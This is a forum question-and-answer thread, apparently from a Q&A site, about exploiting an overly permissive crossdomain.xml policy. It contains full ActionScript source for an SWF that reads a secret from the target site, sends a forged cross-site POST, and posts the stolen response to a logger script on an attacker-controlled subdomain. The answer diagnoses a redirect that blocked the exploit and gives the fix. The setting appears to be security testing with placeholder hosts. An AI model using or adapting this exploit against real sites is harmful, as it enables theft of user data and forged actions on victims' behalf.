1

victim.com - URL of the misconfigured application.

https://victim.com has an overly permissive crossdomain.xml at https://victim.com/crossdomain.xml.

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy 
  SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
  <allow-access-from domain="*.victim.com" />
</cross-domain-policy>

Attacker can control something.subdomain.victim.com

Attacker hosts an SWF file generated from the following action script.

// Adaptation of an exploit by John M as defined in 
// https://medium.com/@x41x41x41/exploiting-crossdomain-xml-missconfigurations-3c8d407d05a8
// PHP serverside is replaced with a simpler python cgi. Thanks to trustedsec

package {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLVariables;
 import flash.net.URLLoader;
 import flash.net.URLLoaderDataFormat;

 public class crossDomain extends Sprite {
  public function crossDomain() {

   // Fetching secret.

   var firstrequest:URLRequest = new URLRequest("https://victim.com/a?secret=test");
   var firstloader:URLLoader = new URLLoader();
   firstloader.addEventListener(Event.COMPLETE, completeHandler);
   try {
    firstloader.load(firstrequest);
   } catch (error: Error) {
    trace("Unable to load URL: " + error);
   }

   // Performing CSRF with a POST 

   var secondvariables:URLVariables = new URLVariables("a=test1&b=test2&c=test3&final=nothing");
   var secondrequest:URLRequest = new URLRequest("http://victim.com/someaction.html");
   secondrequest.method = URLRequestMethod.POST;
   secondrequest.data = secondvariables;
   var secondloader:URLLoader = new URLLoader();
   secondloader.dataFormat = URLLoaderDataFormat.VARIABLES;
   try {
    secondloader.load(secondrequest);
   } catch (error: Error) {
    trace("Unable to load URL");
   }

  }

  private function completeHandler(event: Event): void {

   // Retreiving the HTTP responses to attacker server.

   var request:URLRequest = new URLRequest("http://something.subdomain.victim.com:8000/cgi-bin/postlogger.py");
   var variables:URLVariables = new URLVariables();
   variables.data = event.target.data;
   request.method = URLRequestMethod.POST;
   request.data = variables;
   var loader:URLLoader = new URLLoader();
   try {
    loader.load(request);
   } catch (error: Error) {
    trace("Unable to load URL");
   }
  }
 }
}

The exploit SWF is hosted on something like :

https://something.subdomain.victim.com:8000/crossDomain.html

Everything until GET /crossdomain.xml to https://victim.com is happening. However there is no request sent to the victim.com domain after that.

It is unlikely that this is an action script code error. Because the exact same code when I run for localhost and 127.0.0.1 for testing is working. [may be the last cgi part is not working, but that is something I am not concerned at this point.]

I observe no additional security header in the response for crossdomain.xml.

What would be the reason this exploit is not working for victim.com?

1

Like they always say, the devil was in the details.

The request for https://victim.com/crossdomain.xml did not respond with a crossdomain.xml immediately, instead there was a redirect to https://www.victim.com/crossdomain.xml. This disabled further requests to the domain.

Changing the target URL to http://www.victim.com/a?secret=test and http://www.victim.com/someaction.html resolved the issue for me.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.